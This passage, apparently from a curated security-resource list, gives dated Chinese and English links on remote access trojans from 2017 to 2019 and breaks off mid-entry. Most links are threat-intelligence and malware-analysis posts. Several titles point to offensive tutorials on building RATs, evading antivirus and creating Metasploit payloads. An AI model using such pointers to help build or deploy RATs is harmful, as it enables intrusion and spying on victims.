[投递恶意lnk使用JwsclTerminalServer实现远程控制和信息获取](https://www.freebuf.com/articles/system/207109.html) - 2019.07 [securityintelligence] [Taking Over the Overlay: What Triggers the AVLay Remote Access Trojan (RAT)?](https://securityintelligence.com/posts/taking-over-the-overlay-what-triggers-the-avlay-remote-access-trojan-rat/) - 2019.07 [securityintelligence] [Taking Over the Overlay: Reverse Engineering a Brazilian Remote Access Trojan (RAT)](https://securityintelligence.com/posts/taking-over-the-overlay-reverse-engineering-a-brazilian-remote-access-trojan-rat/) - 2019.07 [talosintelligence] [RATs and stealers rush through “Heaven’s Gate” with new loader](https://blog.talosintelligence.com/2019/07/rats-and-stealers-rush-through-heavens.html) - 2019.06 [4hou] [警惕H-worm蠕虫病毒伪装电影样片钓鱼，草率点击附件会中远控木马](https://www.4hou.com/web/18741.html) - 2019.06 [nightst0rm] [Tôi đã chiếm quyền điều khiển của rất nhiều trang web như thế nào?](https://medium.com/p/61efdf4a03f5) - 2019.06 [4hou] [TA505在最新攻击活动中使用HTML, RAT和其他技术](https://www.4hou.com/web/18563.html) - 2019.06 [trendmicro] [Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns](https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/) - 2019.05 [4hou] [提高恶意软件多任务处理能力的Babylon RAT](https://www.4hou.com/web/18114.html) - 2019.05 [360] [记一次利用XLM宏投放远控工具的垃圾邮件活动](https://www.anquanke.com/post/id/178366/) - 2019.05 [arxiv] [[1905.07273] Finding Rats in Cats: Detecting Stealthy Attacks using Group Anomaly Detection](https://arxiv.org/abs/1905.07273) - 2019.05 [freebuf] [基于Python的BS远控Ares实战](https://www.freebuf.com/articles/system/202419.html) - 2019.05 [4hou] [C&C远控工具:WebSocket C2](https://www.4hou.com/tools/17528.html) - 2019.04 [paloaltonetworks] [BabyShark Malware Part Two – Attacks Continue Using KimJongRAT](https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/) - 2019.04 [freebuf] [看我如何揪出远控背后的幕后黑手](https://www.freebuf.com/vuls/200895.html) - 2019.04 [4hou] [C&C远控工具：Ares](https://www.4hou.com/tools/17527.html) - 2019.04 [krebsonsecurity] [Who’s Behind the RevCode WebMonitor RAT?](https://krebsonsecurity.com/2019/04/whos-behind-the-revcode-webmonitor-rat/) - 2019.04 [freebuf] [门罗币挖矿&远控木马样本分析](https://www.freebuf.com/articles/system/200875.html) - 2019.04 [4hou] [门罗币挖矿+远控木马样本分析](https://www.4hou.com/system/17380.html) - 2019.04 [4hou] [LimeRAT在野外传播](https://www.4hou.com/web/17312.html) - 2019.04 [yoroi] [LimeRAT spreads in the wild](https://blog.yoroi.company/research/limerat-spreads-in-the-wild/) - 2019.04 [alexander] [Week 6 Cyberattack Digest 2019 – ExileRAT trojan, Eskom Group, and others](https://www.peerlyst.com/posts/week-6-cyberattack-digest-2019-exilerat-trojan-eskom-group-and-others-alexander-polyakov) - 2019.03 [360] [木马作者主动提交Tatoo远控后门程序](https://www.anquanke.com/post/id/175513/) - 2019.03 [flashpoint] [FIN7 Revisited: Inside Astra Panel and SQLRat Malware](https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/) - 2019.03 [tencent] [挖矿木马针对SQL服务器爆破攻击 中招可致服务器被远程控制](https://s.tencent.com/research/report/684.html) - 2019.03 [paloaltonetworks] [Cardinal RAT Sins Again, Targets Israeli Fin-T](https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/) - 2019.03 [aliyun] [分析如何使用JAVA-VBS来传播RAT](https://xz.aliyun.com/t/4287) - 2019.03 [malware] [2019-03-06 - QUICK POST: KOREAN MALSPAM PUSHES FLAWED AMMYY RAT MALWARE](http://malware-traffic-analysis.net/2019/03/06/index.html) - 2019.03 [4hou] [JAVA+VBS传播RAT](https://www.4hou.com/system/16495.html) - 2019.03 [mcafee] [JAVA-VBS Joint Exercise Delivers RAT](https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/java-vbs-joint-exercise-delivers-rat/) - 2019.02 [dodgethissecurity] [Reverse Engineering an Unknown RAT – Lets call it SkidRAT 1.0](https://www.dodgethissecurity.com/2019/02/28/reverse-engineering-an-unknown-rat-lets-call-it-skidrat-1-0/) - 2019.02 [4hou] [ExileRAT与LuckyCat共享C2基础设施](http://www.4hou.com/web/16112.html) - 2019.02 [freebuf] [小米M365电动滑板车面临黑客攻击和远程控制风险](https://www.freebuf.com/news/195635.html) - 2019.02 [myonlinesecurity] [Fake Blockchain authentication update delivers Dark Comet RAT](https://myonlinesecurity.co.uk/fake-blockchain-authentication-update-delivers-dark-comet-rat/) - 2019.02 [securityartwork] [Case study: “Imminent RATs” (III)](https://www.securityartwork.es/2019/02/08/case-study-imminent-rats-iii/) - 2019.02 [securityartwork] [Case study: “Imminent RATs” (II)](https://www.securityartwork.es/2019/02/06/case-study-imminent-rats-ii/) - 2019.02 [securityledger] [ExileRAT Malware Targets Tibetan Exile Government](https://securityledger.com/2019/02/exilerat-malware-targets-tibetan-exile-government/) - 2019.02 [securityartwork] [Case study: “Imminent RATs” (I)](https://www.securityartwork.es/2019/02/04/case-study-imminent-rats-i/) - 2019.02 [talosintelligence] [ExileRAT shares C2 with LuckyCat, targets Tibet](https://blog.talosintelligence.com/2019/02/exilerat-shares-c2-with-luckycat.html) - 2019.02 [0x00sec] [Programming language for Remote Access Toolkit](https://0x00sec.org/t/programming-language-for-remote-access-toolkit/11290/) - 2019.01 [angelalonso] [Fudcrypt: the service to crypt Java RAT through VBS scripts and Houdini malware](https://blog.angelalonso.es/2019/01/fudcrypt-service-to-crypt-java-rat.html) - 2019.01 [yoroi] [The Story of Manuel’s Java RAT](https://blog.yoroi.company/research/the-story-of-manuels-java-rat/) - 2019.01 [0x00sec] [RATs question. Long break](https://0x00sec.org/t/rats-question-long-break/11084/) - 2019.01 [aliyun] [使用AMP技术分析RAT威胁](https://xz.aliyun.com/t/3900) - 2019.01 [360] [利用Marvell Avastar Wi-Fi中的漏洞远程控制设备：从零知识入门到RCE漏洞挖掘利用（下）](https://www.anquanke.com/post/id/170078/) - 2019.01 [aliyun] [使用MS Word文档传播.Net RAT恶意软件](https://xz.aliyun.com/t/3873) - 2019.01 [tencent] [腾讯电脑管家：“大灰狼”远控木马伪装成“会所会员资料”传播](https://s.tencent.com/research/report/640.html) - 2019.01 [360] [利用Marvell Avastar Wi-Fi中的漏洞远程控制设备：从零知识入门到RCE漏洞挖掘利用（上）](https://www.anquanke.com/post/id/169892/) - 2019.01 [4hou] [使用MS Word文档传播.Net RAT恶意软件](http://www.4hou.com/system/15835.html) - 2019.01 [0x00sec] [VPS or a VPN for a RAT?](https://0x00sec.org/t/vps-or-a-vpn-for-a-rat/10973/) - 2019.01 [talosintelligence] [What we learned by unpacking a recent wave of Imminent RAT infections using AMP](https://blog.talosintelligence.com/2019/01/what-we-learned-by-unpacking-recent.html) - 2019.01 [fortinet] [.Net RAT Malware Being Spread by MS Word Documents](https://www.fortinet.com/blog/threat-research/-net-rat-malware-being-spread-by-ms-word-documents.html) - 2019.01 [4hou] [TA505将新的ServHelper Backdoor和FlawedGrace RAT添加到其军火库中](http://www.4hou.com/web/15732.html) - 2019.01 [tencent] [劫持浏览器、远程控制、视频刷量，这种破解激活工具有毒！](https://s.tencent.com/research/report/630.html) - 2019.01 [4hou] [广告恶意软件伪装成游戏、远程控制APP感染900万Google play用户](http://www.4hou.com/web/15676.html) - 2019.01 [UltraHacks] [Ozone RAT C++ | Hidden VNC [TUTORIAL VIDEO] | Ultra Hacks](https://www.youtube.com/watch?v=72ej6IJPOoY) - 2019.01 [micropoor] [高级持续渗透-第八季demo便是远控](https://micropoor.blogspot.com/2019/01/demo.html) - 2019.01 [tencent] [疑似Gorgon组织使用Azorult远控木马针对中国外贸行业的定向攻击活动](https://s.tencent.com/research/report/624.html) - 2019.01 [4hou] [JungleSec勒索软件通过IPMI远程控制台感染受害者](http://www.4hou.com/typ/15461.html) - 2019.01 [sans] [Remote Access Tools: The Hidden Threats Inside Your Network](https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1569959492.pdf) - 2018.12 [freebuf] [tRat：一种出现在多起垃圾电子邮件活动中的新型模块化RAT](https://www.freebuf.com/articles/terminal/191004.html) - 2018.12 [k7computing] [Scumbag Combo: Agent Tesla and XpertRAT](https://blog.k7computing.com/?p=15672) - 2018.12 [360] [Flash 0day + Hacking Team远控：利用最新Flash 0day漏洞的攻击活动与关联分析](https://www.anquanke.com/post/id/167334/) - 2018.12 [freebuf] [Flash 0day+Hacking Team远控：利用最新Flash 0day漏洞的攻击活动与关联分析](https://www.freebuf.com/articles/system/191382.html) - 2018.11 [4hou] [tRat：新模块化RAT](http://www.4hou.com/system/14606.html) - 2018.11 [proofpoint] [tRat: 多个垃圾邮件行动中传播的新型模块化远控](https://www.proofpoint.com/us/threat-insight/post/trat-new-modular-rat-appears-multiple-email-campaigns) - 2018.11 [checkpoint] [October 2018’s Most Wanted Malware: For The First Time, Remote Access Trojan Reaches Top 10 Threats | Check Point Software Blog](https://blog.checkpoint.com/2018/11/13/october-2018s-most-wanted-malware-for-the-first-time-remote-access-trojan-reaches-top-threats-cryptomining/) - 2018.11 [checkpoint] [October 2018’s Most Wanted Malware: For The First Time, Remote Access Trojan Reaches Global Threat Index’s Top 10](https://www.checkpoint.com/press/2018/october-2018s-most-wanted-malware-for-the-first-time-remote-access-trojan-reaches-global-threat-indexs-top-10/) - 2018.10 [DEFCONConference] [DEF CON 26 CAR HACKING VILLAGE - Dan Regalado - Meet Salinas, 1st SMS commanded Car Infotainment RAT](https://www.youtube.com/watch?v=j3dfgTKa7pQ) - 2018.10 [cybrary] [“I smell a rat!” – AhMyth, not a Myth](https://www.cybrary.it/2018/10/ahmyth-not-myth/) - 2018.10 [4hou] [如何在工业领域中使用RAT进行攻击](http://www.4hou.com/web/13875.html) - 2018.10 [360] [远控木马盗用网易官方签名](https://www.anquanke.com/post/id/162056/) - 2018.10 [ncsc] [RATs, Mimikatz and other domestic pests](https://www.ncsc.gov.uk/blog-post/rats-mimikatz-and-other-domestic-pests) - 2018.10 [infosecinstitute] [Interview with RaT, the High Council President of SOLDIERX](https://resources.infosecinstitute.com/interview-with-rat-the-high-council-president-of-soldierx/) - 2018.10 [vulnerability0lab] [Facebook Inc via Instagram Business - Remote Access Token Vulnerability (Original Facebook Video)](https://www.youtube.com/watch?v=4Obsd1Qw7uU) - 2018.10 [securityledger] [Episode 114: Complexity at Root of Facebook Breach and LoJax is a RAT You Can’t Kill](https://securityledger.com/2018/10/episode-114-complexity-at-root-of-facebook-breach-and-lojax-is-a-rat-you-cant-kill/) - 2018.10 [sophos] [IP EXPO Europe 2018: Sophos experts talk AI, privacy vs security, and RATs](https://news.sophos.com/en-us/2018/10/02/ip-expo-europe-2018-sophos-experts-talk-ai-privacy-vs-security-and-rats/) - 2018.09 [kaspersky] [Threats posed by using RATs in ICS](https://ics-cert.kaspersky.com/reports/2018/09/20/threats-posed-by-using-rats-in-ics/) - 2018.09 [kaspersky] [Industrial networks in need of RAT control](https://www.kaspersky.com/blog/rats-in-ics/23949/) - 2018.09 [securelist] [Threats posed by using RATs in ICS](https://securelist.com/threats-posed-by-using-rats-in-ics/88011/) - 2018.08 [traffic] [[2018-08-22] Unknown->RigEK->AZORult->BabylonRAT](https://traffic.moe/2018/08/22/index.html) - 2018.08 [freebuf] [Hero RAT：一种基于Telegram的Android恶意软件](http://www.freebuf.com/articles/terminal/179842.html) - 2018.08 [4hou] [垃圾邮件活动滥用SettingContent-ms传播FlawedAmmyy RAT](http://www.4hou.com/web/12902.html) - 2018.08 [aliyun] [基于Telegram的安卓恶意软件HeroRAT分析](https://xz.aliyun.com/t/2525) - 2018.08 [alienvault] [Off-the-shelf RATs Targeting Pakistan](https://www.alienvault.com/blogs/labs-research/off-the-shelf-rats-targeting-pakistan) - 2018.07 [k7computing] [Weaponized.IQY: A Quest to Deliver the FlawedAmmyy RAT](https://blog.k7computing.com/?p=6877) - 2018.07 [trendmicro] [Spam Campaign Abusing SettingContent-ms Found Dropping Same FlawedAmmy RAT Distributed by Necurs](https://blog.trendmicro.com/trendlabs-security-intelligence/spam-campaign-abusing-settingcontent-ms-found-dropping-same-flawedammy-rat-distributed-by-necurs/) - 2018.07 [k7computing] [Weaponized.IQY: A Quest to Deliver the FlawedAmmyy RAT](http://blog.k7computing.com/2018/07/weaponized-iqy-a-quest-to-deliver-the-flawedammyy-rat/) - 2018.07 [4hou] [高度复杂的寄生虫RAT已出现在暗网](http://www.4hou.com/web/12820.html) - 2018.07 [proofpoint] [Parasite HTTP RAT cooks up a stew of stealthy tricks](https://www.proofpoint.com/us/threat-insight/post/parasite-http-rat-cooks-stew-stealthy-tricks) - 2018.07 [aliyun] [Vermin RAThole深度分析](https://xz.aliyun.com/t/2462) - 2018.07 [proofpoint] [TA505 Abusing SettingContent-ms within PDF files to Distribute FlawedAmmyy RAT](https://www.proofpoint.com/us/threat-insight/post/ta505-abusing-settingcontent-ms-within-pdf-files-distribute-flawedammyy-rat) - 2018.07 [welivesecurity] [Vermin one of three RATs used to spy on Ukrainian government institutions](https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/) - 2018.07 [freebuf] [HeroRAT：一款全新的基于Telegram的安卓远程访问木马](http://www.freebuf.com/articles/terminal/175450.html) - 2018.06 [heimdalsecurity] [Security Alert: New Spam Campaign Delivers Flawed Ammyy RAT to Infect Victims’ Computers](https://heimdalsecurity.com/blog/security-alert-flawed-ammyy-rat/) - 2018.06 [welivesecurity] [HeroRAT: 基于Telegram的Android远控, 使用Xamarin框架编写](https://www.welivesecurity.com/2018/06/18/new-telegram-abusing-android-rat/) - 2018.06 [4hou] [美国政府最新技术警报：警惕朝鲜黑客组织Hidden Cobra正在使用的两款RAT和蠕虫病毒](http://www.4hou.com/info/news/11930.html) - 2018.06 [4hou] [NavRAT利用美朝元首脑会晤作为对韩国袭击的诱饵](http://www.4hou.com/web/11941.html) - 2018.06 [360] [NavRAT借美朝会晤话题攻击韩国](https://www.anquanke.com/post/id/146816/) - 2018.05 [talosintelligence] [NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea](https://blog.talosintelligence.com/2018/05/navrat.html) - 2018.05 [myonlinesecurity] [Necurs delivering Flawed Ammy RAT via IQY Excel Web Query files](https://myonlinesecurity.co.uk/necurs-delivering-flawed-ammy-rat-via-iqy-excel-web-query-files/) - 2018.05 [freebuf] [被黑的Drupal网站被用来挖矿，传播远控，发送诈骗邮件](http://www.freebuf.com/articles/web/172563.html) - 2018.05 [andreafortuna] [Malware VM detection techniques evolving: an analysis of GravityRAT](https://www.andreafortuna.org/malware-analysis/malware-vm-detection-techniques-evolving-an-analysis-of-gravityrat/) - 2018.05 [360] [GravityRAT：以印度为APT目标两年内的演变史](https://www.anquanke.com/post/id/106933/) - 2018.05 [pcsxcetrasupport3] [A closer look at “NetSupport”(Rat) top 2 layers](https://pcsxcetrasupport3.wordpress.com/2018/05/04/a-closer-look-at-netsupportrat-top-2-layers/) - 2018.05 [freebuf] [神话传奇：一款通过卖号在微信群传播的远控木马](http://www.freebuf.com/articles/system/170196.html) - 2018.04 [virusbulletin] [GravityRAT malware takes your system's temperature](https://www.virusbulletin.com/blog/2018/04/gravityrat-malware-takes-your-systems-temperature/) - 2018.04 [360] [神话传奇——通过卖号微信群传播的远控木马](https://www.anquanke.com/post/id/106767/) - 2018.04 [talosintelligence] [GravityRAT - The Two-Year Evolution Of An APT Targeting India](https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html) - 2018.04 [UltraHacks] [WebMonitor RAT - NO PORTFORWARD NEEDED + FREE VPN *NEW*](https://www.youtube.com/watch?v=Yg-5ZUKbd3c) - 2018.04 [4hou] [吃鸡辅助远控木马分析](http://www.4hou.com/system/11194.html) - 2018.04 [freebuf] [吃鸡辅助远控木马分析](http://www.freebuf.com/articles/paper/169504.html) - 2018.04 [360] [吃鸡辅助远控木马分析](https://www.anquanke.com/post/id/105670/) - 2018.04 [4hou] [利用Digital Ocean构建远控基础设施](http://www.4hou.com/technology/11107.html) - 2018.04 [flashpoint] [RAT Gone Rogue: Meet ARS VBS Loader](https://www.flashpoint-intel.com/blog/meet-ars-vbs-loader/) - 2018.04 [lookout] [mAPT ViperRAT Found in Google Play](https://blog.lookout.com/viperrat-google-play) - 2018.04 [bitdefender] [RadRAT: An all-in-one toolkit for complex espionage ops](https://labs.bitdefender.com/2018/04/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/) - 2018.04 [paloaltonetworks] [Say “Cheese”: WebMonitor RAT Comes with C2-as-a-Servic](https://unit42.paloaltonetworks.com/unit42-say-cheese-webmonitor-rat-comes-c2-service-c2aas/) - 2018.04 [freebuf] [DELPHI黑客编程（三）：简单远控原理实现](http://www.freebuf.com/articles/system/166876.html) - 2018.04 [fireeye] [Fake Software Update Abuses NetSupport Remote Access Tool](http://www.fireeye.com/blog/threat-research/2018/04/fake-software-update-abuses-netsupport-remote-access-tool.html) - 2018.04 [freebuf] [PowerShell-RAT：一款基于Python的后门程序](http://www.freebuf.com/sectool/165789.html) - 2018.03 [UltraHacks] [Spynote v5.8 Android RAT | Tutorial | www.ultrahacks.org | Ultra Hacks](https://www.youtube.com/watch?v=SIqed5aL6F0) - 2018.03 [360] [TeleRAT：再次发现利用Telegram来定位伊朗用户的Android恶意软件](https://www.anquanke.com/post/id/102398/) - 2018.03 [paloaltonetworks] [TeleRAT: Another Android Trojan Leveraging Telegram’s Bot API to Target Iran](https://unit42.paloaltonetworks.com/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/) - 2018.03 [4hou] [三星SmartCam相机被曝存在十多个安全漏洞，可被远程控制、修改视频画面](http://www.4hou.com/info/news/10696.html) - 2018.03 [360] [针对OS X上Coldroot RAT跨平台后门的详细分析](https://www.anquanke.com/post/id/100727/) - 2018.03 [freebuf] [前端黑魔法之远程控制地址栏](http://www.freebuf.com/articles/web/164711.html) - 2018.03 [broadanalysis] [EiTest campaign Hoefler Text Pop-up delivers NetSupport Manager RAT](http://www.broadanalysis.com/2018/03/11/eitest-campaign-hoefler-text-pop-up-delivers-netsupport-manager-rat-5/) - 2018.03 [leavesongs] [前端黑魔法之远程控制地址栏](https://www.leavesongs.com/PENETRATION/use-target-to-spoof-fishing.html) - 2018.03 [broadanalysis] [Fake Flash update leads to NetSupport RAT](http://www.broadanalysis.com/2018/03/08/fake-flash-update-leads-to-netsupport-rat-2/) - 2018.03 [broadanalysis] [EiTest campaign Hoefler Text Pop-up delivers NetSupport Manager RAT](http://www.broadanalysis.com/2018/03/08/eitest-campaign-hoefler-text-pop-up-delivers-netsupport-manager-rat-4/) - 2018.03 [4hou] [高清无码！比鬼片还刺激！且听“诡娃”远控的这首惊魂曲](http://www.4hou.com/technology/10558.html) - 2018.03 [freebuf] [高清无码！比鬼片还刺激！且听“诡娃”远控的这首惊魂曲](http://www.freebuf.com/articles/system/163988.html) - 2018.03 [360] [胆小者慎入！比鬼片还刺激！且听“诡娃”远控的这首惊魂曲](https://www.anquanke.com/post/id/99667/) - 2018.02 [broadanalysis] [Fake Flash update leads to NetSupport RAT](http://www.broadanalysis.com/2018/02/27/fake-flash-update-leads-to-netsupport-rat/) - 2018.02 [broadanalysis] [EiTest campaign Hoefler Text Pop-up delivers NetSupport Manager RAT](http://www.broadanalysis.com/2018/02/24/eitest-campaign-hoefler-text-pop-up-delivers-netsupport-manager-rat-3/) - 2018.02 [myonlinesecurity] [Fake DHL notification delivers some sort of Java RAT](https://myonlinesecurity.co.uk/fake-dhl-notification-delivers-some-sort-of-java-rat/) - 2018.02 [4hou] [新的AndroRAT变种正在利用过期的Root漏洞伺机发起攻击](http://www.4hou.com/info/news/10413.html) - 2018.02 [objective] [Tearing Apart the Undetected (OSX)Coldroot RAT](https://objective-see.com/blog/blog_0x2A.html) - 2018.02 [trendmicro] [New AndroRAT Exploits Dated Privilege Escalation Vulnerability, Allows Permanent Rooting](https://blog.trendmicro.com/trendlabs-security-intelligence/new-androrat-exploits-dated-permanent-rooting-vulnerability-allows-privilege-escalation/) - 2018.02 [360] [远控木马巧设“白加黑”陷阱：瞄准网店批发商牟取钱财](https://www.anquanke.com/post/id/97329/) - 2018.01 [broadanalysis] [EiTest campaign Hoefler Text Pop-up delivers NetSupport Manager RAT](http://www.broadanalysis.com/2018/01/25/eitest-campaign-hoefler-text-pop-up-delivers-netsupport-manager-rat-2/) - 2018.01 [4hou] [暴雪游戏存在严重远程控制漏洞，数亿用户受影响](http://www.4hou.com/info/news/10096.html) - 2018.01 [riskiq] [Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors](https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/) - 2018.01 [freebuf] [NDAY漏洞CVE-2017-11882与0Day漏洞CVE-2018-0802漏洞组合传播远控木马的样本分析](http://www.freebuf.com/vuls/160252.html) - 2018.01 [broadanalysis] [EiTest campaign Hoefler Text Pop-up delivers NetSupport Manager RAT](http://www.broadanalysis.com/2018/01/18/eitest-campaign-hoefler-text-pop-up-delivers-netsupport-manager-rat/) - 2018.01 [netskope] [Git Your RATs Here!](https://www.netskope.com/blog/git-your-rats-here/) - 2018.01 [redcanary] [We Smell a RAT: Detecting a Remote Access Trojan That Snuck Past a User](https://redcanary.com/blog/detecting-remote-access-trojan/) - 2018.01 [rsa] [Malspam delivers BITTER RAT 01-07-2018](https://community.rsa.com/community/products/netwitness/blog/2018/01/10/malspam-delivers-bitter-rat-07-01-2018) - 2018.01 [freebuf] [移动端C#病毒“东山再起”，利用知名应用通信实现远控隐私窃取](http://www.freebuf.com/articles/terminal/158503.html) - 2017.12 [tencent] [通过CHM文件传播的Torchwood远控木马分析](https://s.tencent.com/research/report/161.html) - 2017.12 [avlsec] [移动端C#病毒“东山再起”，利用知名应用通信实现远控隐私窃取](http://blog.avlsec.com/2017/12/5020/tba/) - 2017.12 [broadanalysis] [Fake Flash Player update delivers Net Support RAT](http://www.broadanalysis.com/2017/12/20/fake-flash-player-update-delivers-net-support-rat/) - 2017.12 [netskope] [TelegramRAT evades traditional defenses via the cloud](https://www.netskope.com/blog/telegramrat-evades-traditional-defenses-via-cloud/) - 2017.12 [4hou] [Palo Alto Networks最新发现：UBoatRAT远程木马访问程序入侵东亚](http://www.4hou.com/info/news/9209.html) - 2017.12 [TechnoHacker] [RATs in a Nutshell](https://www.youtube.com/watch?v=JTfqMEfokNg) - 2017.11 [paloaltonetworks] [UBoatRAT Navigates](https://unit42.paloaltonetworks.com/unit42-uboatrat-navigates-east-asia/) - 2017.11 [buguroo] [New banking malware in Brazil - XPCTRA RAT ANALYSIS](https://www.buguroo.com/en/blog/bank-malware-in-brazil-xpctra-rat-analysis) - 2017.11 [traffic] [[2017-11-18] KaiXinEK->RAT](https://traffic.moe/2017/11/18/index.html) - 2017.11 [freebuf] [通过CHM文件传播的Torchwood远控木马分析](http://www.freebuf.com/articles/system/153850.html) - 2017.11 [qq] [通过CHM文件传播的Torchwood远控木马分析](https://tav.qq.com/index/newsDetail/315.html) - 2017.11 [TechnicalMujeeb] [A-RAt exploit Tool Remote Access Android using Termux App.](https://www.youtube.com/watch?v=bzYsfe6WT7M) - 2017.11 [securityintelligence] [使用 AutoIt 脚本绕过 AV 检测的远控分析](https://securityintelligence.com/overlay-rat-malware-uses-autoit-scripting-to-bypass-antivirus-detection/) - 2017.11 [360] [Powershell Empire 绕过AV实现远控](https://www.anquanke.com/post/id/87132/) - 2017.10 [riskiq] [New htpRAT Gives Complete Remote Control Capabilities to Chinese Threat Actors](https://www.riskiq.com/blog/labs/htprat/) - 2017.10 [lookout] [JadeRAT mobile surveillanceware spikes in espionage activity](https://blog.lookout.com/mobile-threat-jaderat) - 2017.10 [buguroo] [RAT Protection for Banking Customers That Works](https://www.buguroo.com/en/blog/rat-protection-for-banking-customers-that-works) - 2017.10 [cylance] [Cylance vs. Hacker’s Door Remote Access Trojan](https://www.cylance.com/en_us/blog/cylance-vs-hackers-door-remote-access-trojan.html) - 2017.10 [malwarebytes] [一个“正常的”Word 文档启动时自动下载恶意的 RTF 文件（利用 CVE-2017-8759），再由此 RTF 文件下载执行最终的 Payload](https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/) - 2017.10 [rsa] [Malspam Delivers HWorm RAT October, 2017](https://community.rsa.com/community/products/netwitness/blog/2017/10/09/malspam-delivers-hworm-rat-october2017) - 2017.09 [freebuf] [【评论更新“木马”作者回复】“大黄蜂”远控挖矿木马分析与溯源](http://www.freebuf.com/articles/network/147301.html) - 2017.09 [intezer] [Agent.BTZ/ComRAT 变种分析](https://www.intezer.com/new-variants-of-agent-btz-comrat-found-part-2/) - 2017.09 [360] [分析利用“永恒之蓝”漏洞传播的RAT](https://www.anquanke.com/post/id/86822/) - 2017.09 [UltraHacks] [SilentBytes RAT 1.6.3c | Multi Administration Tool!](https://www.youtube.com/watch?v=OCz1b2Xyr8c) - 2017.09 [freebuf] [螳螂捕蝉黄雀在后，免费散播Cobian远控工具背后的秘密](http://www.freebuf.com/news/146974.html) - 2017.09 [360] [如何远程控制别人的无线鼠标：深度揭露鼠标劫持内幕](https://www.anquanke.com/post/id/86784/) - 2017.09 [4hou] [“钓鱼”插件实战：看我如何让粗心开发者的编辑器自动变身远控](http://www.4hou.com/technology/7329.html) - 2017.09 [fortinet] [针对越南组织的 APT 攻击中使用的Rehashed 远控分析](https://www.fortinet.com/blog/threat-research/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations.html) - 2017.09 [TechnoHacker] [Arcom RAT: Is It Worth $3000?](https://www.youtube.com/watch?v=u39nMqPoiz0) - 2017.08 [lookout] [安卓远控 xRAT](https://blog.lookout.com/xrat-mobile-threat) - 2017.08 [paloaltonetworks] [Updated KHRAT Malware Used in Cambodi](https://unit42.paloaltonetworks.com/unit42-updated-khrat-malware-used-in-cambodia-attacks/) - 2017.08 [JackkTutorials] [How to make a HTTP RAT (#3)](https://www.youtube.com/watch?v=qPrF5Hh5hwo) - 2017.08 [freebuf] [远控木马上演白利用偷天神技：揭秘假破解工具背后的盗刷暗流](http://www.freebuf.com/articles/terminal/144590.html) - 2017.08 [4hou] [远控木马上演白利用偷天神技：揭秘假破解工具背后的盗刷暗流](http://www.4hou.com/technology/7302.html) - 2017.08 [fortinet] [A Quick Look at a New KONNI RAT Variant](https://www.fortinet.com/blog/threat-research/a-quick-look-at-a-new-konni-rat-variant.html) - 2017.08 [freebuf] [如何把Photoshop改造成远程控制工具（RAT）来利用](http://www.freebuf.com/news/142783.html) - 2017.08 [n0where] [Koadic C3 COM Command & Control – JScript RAT](https://n0where.net/com-command-control-koadic) - 2017.08 [cylance] [Threat Spotlight: KONNI – A Stealthy Remote Access Trojan](https://www.cylance.com/en_us/blog/threat-spotlight-konni-stealthy-remote-access-trojan.html) - 2017.08 [cylance] [Cylance vs. KONNI RAT](https://www.cylance.com/en_us/blog/cylance-vs-konni-rat.html) - 2017.08 [intezer] [New Variants of Agent.BTZ/ComRAT Found: The Threat That Hit The Pentagon In 2008 Still Evolving; Part 1/2](https://www.intezer.com/new-variants-of-agent-btz-comrat-found/) - 2017.08 [rsa] [Malspam delivers Xtreme RAT 8-1-2017](https://community.rsa.com/community/products/netwitness/blog/2017/08/02/malspam-delivers-xtreme-rat-8-1-2017) - 2017.07 [CodeColorist] [How to turn Photoshop into a remote access tool](https://medium.com/p/805485a9480) - 2017.07 [pentestmag] [Stitch – a Python written cross platform RAT](https://pentestmag.com/stitch-python-written-cross-platform-rat/) - 2017.07 [freebuf] [【BlackHat 2017】小米9号平衡车国际版存在严重安全漏洞可被攻击者远程控制](http://www.freebuf.com/news/141341.html) - 2017.07 [pentestingexperts] [Hacking Android Smart Phone Using AhMyth Android RAT](http://www.pentestingexperts.com/hacking-android-smart-phone-using-ahmyth-android-rat/) - 2017.07 [JackkTutorials] [How to make a HTTP RAT (#2)](https://www.youtube.com/watch?v=BqwcSsMdJEI) - 2017.07 [ringzerolabs] [Bladabindi RAT](https://www.ringzerolabs.com/2017/07/bladabindi-rat.html) - 2017.07 [krebsonsecurity] [Who is the GovRAT Author and Mirai Botmaster ‘Bestbuy’?](https://krebsonsecurity.com/2017/07/who-is-the-govrat-author-and-mirai-botmaster-bestbuy/) - 2017.07 [JackkTutorials] [How to make a HTTP RAT (#1)](https://www.youtube.com/watch?v=whwGVk33NXA) - 2017.06 [freebuf] [白利用的集大成者：新型远控木马上演移形换影大法](http://www.freebuf.com/articles/system/138164.html) - 2017.06 [pediy] [[原创]一个远控木马的行为分析](https://bbs.pediy.com/thread-218739.htm) - 2017.06 [ColinHardy] [JavaScript that drops a RAT - Reverse Engineer it like a pro](https://www.youtube.com/watch?v=qzGLCqW_wrM) - 2017.06 [4hou] [白利用的集大成者：新型远控木马上演移形换影大法](http://www.4hou.com/info/news/5742.html) - 2017.06 [360] [白利用的集大成者：新型远控木马上演移形换影大法](https://www.anquanke.com/post/id/86311/) - 2017.06 [freebuf] [Metasploit实验：制作免杀payload+对任意“外网”主机的远控](http://www.freebuf.com/sectool/136736.html) - 2017.06 [cylance] [Cylance vs. FF-Rat Malware](https://www.cylance.com/en_us/blog/cylance-vs-ff-rat-malware.html) - 2017.06 [cylance] [Threat Spotlight: Breaking Down FF-Rat Malware](https://www.cylance.com/en_us/blog/breaking-down-ff-rat-malware.html) - 2017.06 [alienvault] [Mac 平台首个 